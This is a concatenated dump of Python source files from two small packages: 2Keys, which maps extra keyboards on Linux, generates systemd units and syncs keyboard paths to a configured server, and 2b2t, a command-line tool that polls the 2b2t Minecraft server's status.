keys[200] = custom_name("MEDIA_PLAY") # Different to MEDIA_PLAY_PAUSE, this button can only play not pause. (CDs)
keys[201] = custom_name("MEDIA_PAUSE")
# keys[202] = custom_name("PROG3") # Programmable buttons?
# keys[203] = custom_name("PROG4") # Programmable buttons?
keys[204] = custom_name("DASHBOARD")
keys[205] = custom_name("SUSPEND")
keys[206] = custom_name("CLOSE")
keys[207] = custom_name("PLAY") # How is this different to keys[200]
keys[208] = custom_name("MEDIA_FASTFORWARD")
keys[209] = custom_name("SOUND_BASSBOOST")
keys[210] = custom_name("PRINT")
keys[211] = custom_name("HP")
keys[212] = custom_name("CAMERA")
keys[213] = custom_name("SOUND")
keys[214] = custom_name("QUESTION")
keys[215] = custom_name("EMAIL")
keys[216] = custom_name("CHAT")
keys[217] = custom_name("SEARCH")
keys[218] = custom_name("CONNECT")
keys[219] = custom_name("FINANCE") # Launch Finance app
keys[220] = custom_name("SPORT")
keys[221] = custom_name("SHOP")
keys[222] = custom_name("ALTERASE")
keys[223] = custom_name("CANCEL")
keys[224] = custom_name("BRIGHTNESS_DOWN")
keys[225] = custom_name("BRIGHTNESS_UP")
keys[226] = custom_name("MEDIA")
keys[227] = custom_name("SWITCHVIDEOMODE") # "Cycle between available video outputs"
# keys[228] = custom_name("KBDILLUMTOGGLE") # What are these?
# keys[229] = custom_name("KBDILLUMDOWN") # What are these?
# keys[230] = custom_name("KBDILLUMUP") # What are these?
keys[231] = custom_name("APP_SEND") # AC
keys[232] = custom_name("APP_REPLY") # AC
keys[233] = custom_name("APP_FORWARDMAIL") # AC
keys[234] = custom_name("APP_SAVE") # AC
keys[235] = custom_name("DOCUMENTS")
keys[236] = custom_name("BATTERY")
keys[237] = custom_name("SET_BLUETOOTH") # Bluetooth on/off
keys[238] = custom_name("SET_WLAN") # Wifi on/off
keys[239] = custom_name("SET_UWB") # UWB is a radio type (like 2G, 3G, wifi)
keys[240] = custom_name("UNKNOWN") # As it says, unknown
keys[241] = custom_name("VIDEO_SOURCE_NEXT") # next video source
keys[242] = custom_name("VIDEO_SOURCE_PREV") # previous video source
keys[243] = custom_name("BRIGHTNESS_CYCLE") # "brightness up, after max is min"
keys[244] = custom_name("BRIGHTNESS_AUTO") # Auto brightness, "rely on ambient"
#define KEY_BRIGHTNESS_ZERO KEY_BRIGHTNESS_AUTO
keys[245] = custom_name("DISPLAY_OFF")
keys[246] = custom_name("SET_WWAN") # "Wireless WAN (LTE, UMTS, GSM, etc.)". KEY_WWAN
#define KEY_WIMAX KEY_WWAN # ALias for above
keys[247] = custom_name("RFKILL") # "Key that controls all radios"
keys[248] = custom_name("MICMUTE") # Microphone mute
# "Code 255 is reserved for special needs of AT keyboard driver"
# I think this is mouse stuff, so it remains commented out
#define BTN_MISC 0x100
#define BTN_0 0x100
#define BTN_1 0x101
#define BTN_2 0x102
#define BTN_3 0x103
#define BTN_4 0x104
#define BTN_5 0x105
#define BTN_6 0x106
#define BTN_7 0x107
#define BTN_8 0x108
#define BTN_9 0x109
#define BTN_MOUSE 0x110
#define BTN_LEFT 0x110
#define BTN_RIGHT 0x111
#define BTN_MIDDLE 0x112
#define BTN_SIDE 0x113
#define BTN_EXTRA 0x114
#define BTN_FORWARD 0x115
#define BTN_BACK 0x116
#define BTN_TASK 0x117
#define BTN_JOYSTICK 0x120
#define BTN_TRIGGER 0x120
#define BTN_THUMB 0x121
#define BTN_THUMB2 0x122
#define BTN_TOP 0x123
#define BTN_TOP2 0x124
#define BTN_PINKIE 0x125
#define BTN_BASE 0x126
#define BTN_BASE2 0x127
#define BTN_BASE3 0x128
#define BTN_BASE4 0x129
#define BTN_BASE5 0x12a
#define BTN_BASE6 0x12b
#define BTN_DEAD 0x12f
#define BTN_GAMEPAD 0x130
#define BTN_SOUTH 0x130
#define BTN_A BTN_SOUTH
#define BTN_EAST 0x131
#define BTN_B BTN_EAST
#define BTN_C 0x132
#define BTN_NORTH 0x133
#define BTN_X BTN_NORTH
#define BTN_WEST 0x134
#define BTN_Y BTN_WEST
#define BTN_Z 0x135
#define BTN_TL 0x136
#define BTN_TR 0x137
#define BTN_TL2 0x138
#define BTN_TR2 0x139
#define BTN_SELECT 0x13a
#define BTN_START 0x13b
#define BTN_MODE 0x13c
#define BTN_THUMBL 0x13d
#define BTN_THUMBR 0x13e
#define BTN_DIGI 0x140
#define BTN_TOOL_PEN 0x140
#define BTN_TOOL_RUBBER 0x141
#define BTN_TOOL_BRUSH 0x142
#define BTN_TOOL_PENCIL 0x143
#define BTN_TOOL_AIRBRUSH 0x144
#define BTN_TOOL_FINGER 0x145
#define BTN_TOOL_MOUSE 0x146
#define BTN_TOOL_LENS 0x147
#define BTN_TOOL_QUINTTAP 0x148 /* Five fingers on trackpad */
#define BTN_STYLUS3 0x149
#define BTN_TOUCH 0x14a
#define BTN_STYLUS 0x14b
#define BTN_STYLUS2 0x14c
#define BTN_TOOL_DOUBLETAP 0x14d
#define BTN_TOOL_TRIPLETAP 0x14e
#define BTN_TOOL_QUADTAP 0x14f /* Four fingers on trackpad */
#define BTN_WHEEL 0x150
#define BTN_GEAR_DOWN 0x150
#define BTN_GEAR_UP 0x151
# NOTE: 0x160 != decimal 160
# Below here is the rest
# These are untouched since I have no idea if people would want to use them
# plus it would take too long to adjust them all
# Thus, they are disabled
# keys[0x160] = "OK"
# keys[0x161] = "SELECT"
# keys[0x162] = "GOTO"
# keys[0x163] = "CLEAR"
# keys[0x164] = "POWER2"
# keys[0x165] = "OPTION"
# keys[0x166] = "INFO"
# keys[0x167] = "TIME"
# keys[0x168] = "VENDOR"
# keys[0x169] = "ARCHIVE"
# keys[0x16a] = "PROGRAM"
# keys[0x16b] = "CHANNEL"
# keys[0x16c] = "FAVORITES"
# keys[0x16d] = "EPG"
# keys[0x16e] = "PVR"
# keys[0x16f] = "MHP"
# keys[0x170] = "LANGUAGE"
# keys[0x171] = "TITLE"
# keys[0x172] = "SUBTITLE"
# keys[0x173] = "ANGLE"
# keys[0x174] = "ZOOM"
# keys[0x175] = "MODE"
# keys[0x176] = "KEYBOARD"
# keys[0x177] = "SCREEN"
# keys[0x178] = "PC"
# keys[0x179] = "TV"
# keys[0x17a] = "TV2"
# keys[0x17b] = "VCR"
# keys[0x17c] = "VCR2"
# keys[0x17d] = "SAT"
# keys[0x17e] = "SAT2"
# keys[0x17f] = "CD"
# keys[0x180] = "TAPE"
# keys[0x181] = "RADIO"
# keys[0x182] = "TUNER"
# keys[0x183] = "PLAYER"
# keys[0x184] = "TEXT"
# keys[0x185] = "DVD"
# keys[0x186] = "AUX"
# keys[0x187] = "MP3"
# keys[0x188] = "AUDIO"
# keys[0x189] = "VIDEO"
# keys[0x18a] = "DIRECTORY"
# keys[0x18b] = "LIST"
# keys[0x18c] = "MEMO"
# keys[0x18d] = "CALENDAR"
# keys[0x18e] = "RED"
# keys[0x18f] = "GREEN"
# keys[0x190] = "YELLOW"
# keys[0x191] = "BLUE"
# keys[0x192] = "CHANNELUP"
# keys[0x193] = "CHANNELDOWN"
# keys[0x194] = "FIRST"
# keys[0x195] = "LAST"
# keys[0x196] = "AB"
# keys[0x197] = "NEXT"
# keys[0x198] = "RESTART"
# keys[0x199] = "SLOW"
# keys[0x19a] = "SHUFFLE"
# keys[0x19b] = "BREAK"
# keys[0x19c] = "PREVIOUS"
# keys[0x19d] = "DIGITS"
# keys[0x19e] = "TEEN"
# keys[0x19f] = "TWEN"
# keys[0x1a0] = "VIDEOPHONE"
# keys[0x1a1] = "GAMES"
# keys[0x1a2] = "ZOOMIN"
# keys[0x1a3] = "ZOOMOUT"
# keys[0x1a4] = "ZOOMRESET"
# keys[0x1a5] = "WORDPROCESSOR"
# keys[0x1a6] = "EDITOR"
# keys[0x1a7] = "SPREADSHEET"
# keys[0x1a8] = "GRAPHICSEDITOR"
# keys[0x1a9] = "PRESENTATION"
# keys[0x1aa] = "DATABASE"
# keys[0x1ab] = "NEWS"
# keys[0x1ac] = "VOICEMAIL"
# keys[0x1ad] = "ADDRESSBOOK"
# keys[0x1ae] = "MESSENGER"
# keys[0x1af] = "DISPLAYTOGGLE"
#define KEY_BRIGHTNESS_TOGGLE KEY_DISPLAYTOGGLE
# keys[0x1b0] = "SPELLCHECK"
# keys[0x1b1] = "LOGOFF"
# keys[0x1b2] = "DOLLAR"
# keys[0x1b3] = "EURO"
# keys[0x1b4] = "FRAMEBACK"
# keys[0x1b5] = "FRAMEFORWARD"
# keys[0x1b6] = "CONTEXT_MENU"
# keys[0x1b7] = "MEDIA_REPEAT"
# keys[0x1b8] = "10CHANNELSUP"
# keys[0x1b9] = "10CHANNELSDOWN"
# keys[0x1ba] = "IMAGES"
# keys[0x1c0] = "DEL_EOL"
# keys[0x1c1] = "DEL_EOS"
# keys[0x1c2] = "INS_LINE"
# keys[0x1c3] = "DEL_LINE"
# keys[0x1d0] = "FN"
# keys[0x1d1] = "FN_ESC"
# keys[0x1d2] = "FN_F1"
# keys[0x1d3] = "FN_F2"
# keys[0x1d4] = "FN_F3"
# keys[0x1d5] = "FN_F4"
# keys[0x1d6] = "FN_F5"
# keys[0x1d7] = "FN_F6"
# keys[0x1d8] = "FN_F7"
# keys[0x1d9] = "FN_F8"
# keys[0x1da] = "FN_F9"
# keys[0x1db] = "FN_F10"
# keys[0x1dc] = "FN_F11"
# keys[0x1dd] = "FN_F12"
# keys[0x1de] = "FN_1"
# keys[0x1df] = "FN_2"
# keys[0x1e0] = "FN_D"
# keys[0x1e1] = "FN_E"
# keys[0x1e2] = "FN_F"
# keys[0x1e3] = "FN_S"
# keys[0x1e4] = "FN_B"
# keys[0x1f1] = "BRL_DOT1"
# keys[0x1f2] = "BRL_DOT2"
# keys[0x1f3] = "BRL_DOT3"
# keys[0x1f4] = "BRL_DOT4"
# keys[0x1f5] = "BRL_DOT5"
# keys[0x1f6] = "BRL_DOT6"
# keys[0x1f7] = "BRL_DOT7"
# keys[0x1f8] = "BRL_DOT8"
# keys[0x1f9] = "BRL_DOT9"
# keys[0x1fa] = "BRL_DOT10"
# keys[0x200] = "NUMERIC_0"
# keys[0x201] = "NUMERIC_1"
# keys[0x202] = "NUMERIC_2"
# keys[0x203] = "NUMERIC_3"
# keys[0x204] = "NUMERIC_4"
# keys[0x205] = "NUMERIC_5"
# keys[0x206] = "NUMERIC_6"
# keys[0x207] = "NUMERIC_7"
# keys[0x208] = "NUMERIC_8"
# keys[0x209] = "NUMERIC_9"
# keys[0x20a] = "NUMERIC_STAR"
# keys[0x20b] = "NUMERIC_POUND"
# keys[0x20c] = "NUMERIC_A"
# keys[0x20d] = "NUMERIC_B"
# keys[0x20e] = "NUMERIC_C"
# keys[0x20f] = "NUMERIC_D"
# keys[0x210] = "CAMERA_FOCUS"
# keys[0x211] = "WPS_BUTTON"
# keys[0x212] = "TOUCHPAD_TOGGLE"
# keys[0x213] = "TOUCHPAD_ON"
# keys[0x214] = "TOUCHPAD_OFF"
# keys[0x215] = "CAMERA_ZOOMIN"
# keys[0x216] = "CAMERA_ZOOMOUT"
# keys[0x217] = "CAMERA_UP"
# keys[0x218] = "CAMERA_DOWN"
# keys[0x219] = "CAMERA_LEFT"
# keys[0x21a] = "CAMERA_RIGHT"
# keys[0x21b] = "ATTENDANT_ON"
# keys[0x21c] = "ATTENDANT_OFF"
# keys[0x21d] = "ATTENDANT_TOGGLE"
# keys[0x21e] = "LIGHTS_TOGGLE"
#define BTN_DPAD_UP 0x220
#define BTN_DPAD_DOWN 0x221
#define BTN_DPAD_LEFT 0x222
#define BTN_DPAD_RIGHT 0x223
# keys[0x230] = "ALS_TOGGLE"
# keys[0x231] = "ROTATE_LOCK_TOGGLE"
# keys[0x240] = "BUTTONCONFIG"
# keys[0x241] = "TASKMANAGER"
# keys[0x242] = "JOURNAL"
# keys[0x243] = "CONTROLPANEL"
# keys[0x244] = "APPSELECT"
# keys[0x245] = "SCREENSAVER"
# keys[0x246] = "VOICECOMMAND"
# keys[0x247] = "ASSISTANT"
# keys[0x250] = "BRIGHTNESS_MIN"
# keys[0x251] = "BRIGHTNESS_MAX"
# keys[0x260] = "KBDINPUTASSIST_PREV"
# keys[0x261] = "KBDINPUTASSIST_NEXT"
# keys[0x262] = "KBDINPUTASSIST_PREVGROUP"
# keys[0x263] = "KBDINPUTASSIST_NEXTGROUP"
# keys[0x264] = "KBDINPUTASSIST_ACCEPT"
# keys[0x265] = "KBDINPUTASSIST_CANCEL"
# Diagonal movement keys
# keys[0x266] = "RIGHT_UP"
# keys[0x267] = "RIGHT_DOWN"
# keys[0x268] = "LEFT_UP"
# keys[0x269] = "LEFT_DOWN"
# keys[0x26a] = "ROOT_MENU"
# Show Top Menu of the Media (e.g. DVD) */
# keys[0x26b] = "MEDIA_TOP_MENU"
# keys[0x26c] = "NUMERIC_11"
# keys[0x26d] = "NUMERIC_12"
#
# "Toggle Audio Description: refers to an audio service that helps blind and
# visually impaired consumers understand the action in a program. Note: in
# some countries this is referred to as "Video Description"."
#
# keys[0x26e] = "AUDIO_DESC"
# keys[0x26f] = "3D_MODE"
# keys[0x270] = "NEXT_FAVORITE"
# keys[0x271] = "STOP_RECORD"
# keys[0x272] = "PAUSE_RECORD"
# keys[0x273] = "VOD"
# keys[0x274] = "UNMUTE"
# keys[0x275] = "FASTREVERSE"
# keys[0x276] = "SLOWREVERSE"
###
# "Control a data application associated with the currently viewed channel,
# e.g. teletext or data broadcast application (MHEG, MHP, HbbTV, etc.)"
###
# keys[0x277] = "DATA"
# keys[0x278] = "ONSCREEN_KEYBOARD"
# WHAT ARE THESE:
#define BTN_TRIGGER_HAPPY 0x2c0
#define BTN_TRIGGER_HAPPY1 0x2c0
#define BTN_TRIGGER_HAPPY2 0x2c1
#define BTN_TRIGGER_HAPPY3 0x2c2
#define BTN_TRIGGER_HAPPY4 0x2c3
#define BTN_TRIGGER_HAPPY5 0x2c4
#define BTN_TRIGGER_HAPPY6 0x2c5
#define BTN_TRIGGER_HAPPY7 0x2c6
#define BTN_TRIGGER_HAPPY8 0x2c7
#define BTN_TRIGGER_HAPPY9 0x2c8
#define BTN_TRIGGER_HAPPY10 0x2c9
#define BTN_TRIGGER_HAPPY11 0x2ca
#define BTN_TRIGGER_HAPPY12 0x2cb
#define BTN_TRIGGER_HAPPY13 0x2cc
#define BTN_TRIGGER_HAPPY14 0x2cd
#define BTN_TRIGGER_HAPPY15 0x2ce
#define BTN_TRIGGER_HAPPY16 0x2cf
#define BTN_TRIGGER_HAPPY17 0x2d0
#define BTN_TRIGGER_HAPPY18 0x2d1
#define BTN_TRIGGER_HAPPY19 0x2d2
#define BTN_TRIGGER_HAPPY20 0x2d3
#define BTN_TRIGGER_HAPPY21 0x2d4
#define BTN_TRIGGER_HAPPY22 0x2d5
#define BTN_TRIGGER_HAPPY23 0x2d6
#define BTN_TRIGGER_HAPPY24 0x2d7
#define BTN_TRIGGER_HAPPY25 0x2d8
#define BTN_TRIGGER_HAPPY26 0x2d9
#define BTN_TRIGGER_HAPPY27 0x2da
#define BTN_TRIGGER_HAPPY28 0x2db
#define BTN_TRIGGER_HAPPY29 0x2dc
#define BTN_TRIGGER_HAPPY30 0x2dd
#define BTN_TRIGGER_HAPPY31 0x2de
#define BTN_TRIGGER_HAPPY32 0x2df
#define BTN_TRIGGER_HAPPY33 0x2e0
#define BTN_TRIGGER_HAPPY34 0x2e1
#define BTN_TRIGGER_HAPPY35 0x2e2
#define BTN_TRIGGER_HAPPY36 0x2e3
#define BTN_TRIGGER_HAPPY37 0x2e4
#define BTN_TRIGGER_HAPPY38 0x2e5
#define BTN_TRIGGER_HAPPY39 0x2e6
#define BTN_TRIGGER_HAPPY40 0x2e7
# We avoid low common keys in module aliases so they don't get huge.
#define KEY_MIN_INTERESTING KEY_MUTE # From original c code
# i.e. KEY_MUTE is the minimum interesting one
# Have no idea if this is correct
# NOTE: Should be 0x300
keys[MAX_KEY_MAPS - 1] = None # MAX keys is 0x2ff
#define KEY_CNT (KEY_MAX+1) # No ides what this is
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/util/keyboard_map.py | keyboard_map.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .logger import Logger
from .config import load_config
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/util/__init__.py | __init__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Function to detect a keyboard
import asyncio
from os import path, listdir, getcwd, system
import colorful
from ..util.constants import KEYBOARDS_PATH_BASE, KEYBOARD_EVENT_FORMAT, KEYBOARD_EVENT_SIZE, SCRIPTS_ROOT, MODULE_NAME
from ..util.logger import Logger
from ..util.config import load_config
from ..watcher import AsyncKeyboard as AsyncKeyboardWatcher
logger = Logger("detect")
# Function to add keyboards (s is emphasised) from config
def add_keyboards(config):
for key, value in config["keyboards"].items():
logger.info("Running script to add keyboard for keyboard " + colorful.cyan(key) + "...")
print("") # Padding
system("cd " + getcwd() + " && python3 -m " + MODULE_NAME + " add " + key)
print("") # Padding
def add_keyboard(name, gen_handler, inputs_path):
# Check if paths not given
config = load_config()
if name == "" or name not in config["keyboards"]:
logger.warn("No keyboard supplied.")
logger.warn("Detection will be ran on all keyboards.")
logger.warn("To just generate daemons, use the 'daemon-gen' command")
logger.info("Running detection on all keyboards...")
return add_keyboards(config)
logger.info("Mapping keyboard " + name)
logger.info("Scanning for keyboards...")
if not path.isdir(inputs_path): # Make sure there's something to detect
logger.err("Couldn't scan for keyboards")
logger.err("Verify you have at least one keyboard plugged in")
logger.err("and the dir " + inputs_path + " exists")
logger.err("You can specify a custom path with the --inputs-path option")
exit()
# Scan
# From https://stackoverflow.com/questions/3207219/how-do-i-list-all-files-of-a-directory
keyboards = listdir(inputs_path)
logger.debug("Keyboards:")
logger.debug(keyboards)
logger.info("Press a button on the keyboard you want to map to register it.")
# Then watch all keyboards and ask for one to be pressed
keyboards_events = [AsyncKeyboardWatcher(keyboard_path, inputs_path) for keyboard_path in keyboards] # Keyboard watch classes for each input
handler = gen_handler(keyboards_events, name) # The handler needs access to keyboards_events, which it won't on exe in the watcher, as well as keyboard name
# Run
jobs = [keyboards_events[i].keyboard_watcher(handler) for i in range(0, len(keyboards))] # Create jobs list
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(jobs))
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/add_keyboard/add_keyboard.py | add_keyboard.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Sync keyboard path to server
import aiohttp
import aiofiles
import asyncio
import os
import yaml
import logging
from ..util import load_config, Logger
from ..util.constants import UPDATE_KEYBOARD_PATH
logger = Logger("sync")
async def update_server_keyboard_path(name, keyboard_path):
logger.info("Updating config...")
logger.debug("Loading config...")
async with aiofiles.open(os.getcwd() + "/config.yml", mode="r") as config_file:
logger.debug("ASYNC FILE OPS") # DEBUG: signal start of async file ops, so as to help detect where program breaks
config_contents = await config_file.read() # Read config
logger.debug("Contents:\n" + config_contents)
# Parse it into python obj
config = yaml.load(config_contents, Loader=yaml.FullLoader)
logger.debug("Parsed contents: " + str(config))
try:
timeout = aiohttp.ClientTimeout(total=5)
async with aiohttp.ClientSession(timeout=timeout) as session:
logger.debug("Making request....")
async with session.post("http://" + config["addresses"]["server"]["ipv4"] + ":" + str(config["addresses"]["server"]["port"]) + UPDATE_KEYBOARD_PATH,
json={ "keyboard": name, "path": keyboard_path }, timeout=timeout) as resp:
logger.debug("Request made.")
if int(resp.status) != 200:
logger.err("ERROR Updating paths!")
logger.err(await resp.text())
except (aiohttp.ClientError, asyncio.TimeoutError, KeyError) as err:
logger.err("ERROR!")
logging.exception("")
except KeyboardInterrupt:
raise
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/add_keyboard/sync_keyboard_path.py | sync_keyboard_path.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# wrapper, designed for adding a keyboard from CLI
from .add_keyboard import add_keyboard
import sys
import os
import signal
import aiofiles
from ..util import Logger
import yaml
from .sync_keyboard_path import update_server_keyboard_path
logger = Logger("add")
PID = os.getpid()
# IMPORTANT: Don't use non async functions in this. That includes the logger
# EXCEPTIONS ARE NOT CAUGHT
def gen_async_handler(keyboards, keyboard_name):
async def handler(keyboard):
print("[DEBUG] STOPPING WATCH")
# Stop each keyboard object one by one, then write config
for keyboard_stop in keyboards:
print("[DEBUG] ROOT: STOPPING " + keyboard_stop.keyboard)
await keyboard_stop.stop_watch()
# Write config
logger.info("Writing keyboard " + keyboard + " as " + keyboard_name)
logger.debug("Opening config...")
# 1: Open current file for updating
async with aiofiles.open(os.getcwd() + "/config.yml", mode="r") as config_file:
logger.debug("ASYNC FILE OPS") # DEBUG: signal start of async file ops, so as to help detect where program breaks
config_contents = await config_file.read() # Read config
logger.debug("Contents:\n" + config_contents)
# Parse it into python obj
config = yaml.load(config_contents, Loader=yaml.FullLoader)
logger.debug("Parsed contents: " + str(config))
config["keyboards"][keyboard_name]["path"] = keyboard # Update keyboard with path in /dev/input
logger.debug("Writing config...")
# r+ appends, so we have to create a new stream so we cam write
async with aiofiles.open("config.yml", mode="w") as config_write:
await config_write.write("# Config for 2Keys\n# ONLY FOR USE BY THE PROGRAM\n# To change the config, update it on the client and run \"2Keys config-update\" here\n" +
yaml.dump(config, default_flow_style=False)) # Write it
await config_write.close() # Close so other programs can use
logger.info("Config writen.")
logger.info("Updating path on server....")
await update_server_keyboard_path(keyboard_name, keyboard)
os.kill(PID, signal.SIGTERM) # Exit() does't work, so we have to self kill the script
exit() # So only one ^C is needed to end the program
return
return handler
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/add_keyboard/async_handler.py | async_handler.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .add_keyboard import add_keyboard, add_keyboards
from .async_handler import gen_async_handler
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/add_keyboard/__init__.py | __init__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
import sys
import os
import stat
import pystache
from ..util.logger import Logger
from ..util.constants import DAEMON_TEMPLATE_PATH, SCRIPTS_ROOT, LOCAL_ROOT, DAEMON_TEMPLATE_SCRIPT_PATH
logger = Logger("daemon")
# Generates a systemd unit file
# Name: Name of 2Keys project
# Keyboards: Array of keyboard names
def generate_daemon(name, keyboards):
logger.info("Creating systemd unit scripts...")
template = open(DAEMON_TEMPLATE_PATH, "r").read() # Open template
for keyboard in keyboards:
script = pystache.render(template, {
"name": name,
"index_path": "2Keys",
"keyboard": keyboard,
"detector_path": SCRIPTS_ROOT,
"version": str(sys.version_info[0]) + "." + str(sys.version_info[1]),
"pwd": os.getcwd()
})
if not os.path.exists(LOCAL_ROOT):
logger.info("Making local root ./.2Keys...")
os.makedirs(LOCAL_ROOT)
UNIT_FILE_NAME = "2Keys-%s.service" % keyboard
logger.info("Creating unit file {}...".format(UNIT_FILE_NAME))
unitFile = open(LOCAL_ROOT + "/" + UNIT_FILE_NAME, "w")
logger.info("Writing...")
unitFile.write(script)
logger.info("Writing a shell script to manage the unit files (services/daemons)...")
shTemplate = open(DAEMON_TEMPLATE_SCRIPT_PATH, "r").read()
keyboard_string = "("
# Create array of keyboards
for keyboard in keyboards:
keyboard_string += keyboard + " "
# End array
keyboard_string = keyboard_string[0:-1] + ")"
# Render mustache template
shScript = pystache.render(shTemplate, {
"keyboards": keyboard_string
})
shScriptFile = open(LOCAL_ROOT + "/register.sh", "w")
shScriptFile.write(shScript)
logger.info("Making executable...")
# From https://stackoverflow.com/questions/12791997/how-do-you-do-a-simple-chmod-x-from-within-python
st = os.stat(LOCAL_ROOT + "/register.sh")
os.chmod(LOCAL_ROOT + "/register.sh", st.st_mode | stat.S_IEXEC)
logger.info("")
logger.info("Generated unit files to start 2Keys on startup!")
logger.info("To install the services for use, please run:")
logger.info(" sudo bash ./.2Keys/register.sh register")
logger.info("For help on how to use the script:")
logger.info(" sudo bash ./.2Keys/register.sh help")
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/daemon/scripts.py | scripts.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .scripts import generate_daemon
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/daemon/__init__.py | __init__.py |
# bbtt: A 2b2t toolbox
This is a simple commandline utility which polls *2b2t*'s server status and print it.
# Usage
- Install Python (>=3.7).
- Execute `pip install 2b2t`.
- Run `2b2t`. | 2b2t | /2b2t-0.3.0.tar.gz/2b2t-0.3.0/README.md | README.md |
import pathlib
from setuptools import setup, find_packages
setup(
name="2b2t",
version="0.3.0",
description="A 2b2t toolbox.",
long_description=(pathlib.Path(__file__).parent / "README.md").read_text(),
long_description_content_type="text/markdown",
url="https://github.com/keuin/2b2t",
author="Keuin",
author_email="keuinx@gmail.com",
license="MIT",
classifiers=[
"License :: OSI Approved :: MIT License",
"Programming Language :: Python :: 3",
],
packages=find_packages(),
include_package_data=True,
install_requires=[
"mcstatus",
],
entry_points={
"console_scripts": [
"2b2t=bbtt.__main__:main",
"2b2t.coord=bbtt.coord.__main__:main"
]
},
)
| 2b2t | /2b2t-0.3.0.tar.gz/2b2t-0.3.0/setup.py | setup.py |
import mcstatus
import threading
try:
import winsound
except ImportError:
winsound = None
import time
import enum
class Status(enum.Enum):
OFFLINE = 0
ONLINE = 1
class Beeper(threading.Thread):
def run(self) -> None:
# FIXME this is silent on Linux
if winsound:
for _ in range(5):
winsound.Beep(1000, 200)
@staticmethod
def beep():
Beeper().start()
def main():
try:
server = mcstatus.MinecraftServer('connect.2b2t.org')
last_status = Status.ONLINE
while True:
try:
status = server.status()
except IOError:
print('status: offline')
last_status = Status.OFFLINE
time.sleep(0.5)
continue
if last_status == Status.OFFLINE:
Beeper.beep()
last_status = Status.ONLINE
print(f'status: online players: {status.players.online} latency: {status.latency:.2f}')
time.sleep(2)
except KeyboardInterrupt:
pass # Ignore Ctrl-C event
if __name__ == '__main__':
main()
| 2b2t | /2b2t-0.3.0.tar.gz/2b2t-0.3.0/bbtt/__main__.py | __main__.py |
import enum
from typing import Tuple
USAGE = """\
i2w <x> <z>: convert coordinate in 8K radar image to the corresponding coordinate in 2b2t world
image2world <x> <z>: convert coordinate in 8K radar image to the corresponding coordinate in 2b2t world
w2i <x> <z>: convert coordinate in 2b2t world to the corresponding coordinate in 8K radar image
world2image <x> <z>: convert coordinate in 2b2t world to the corresponding coordinate in 8K radar image
q (or quit, exit): exit program
h (or help): show this help menu\
"""
class RadarImageType(enum.Enum):
RADAR_4K = (3840, 2160, 8)
RADAR_8K = (7680, 4320, 4)
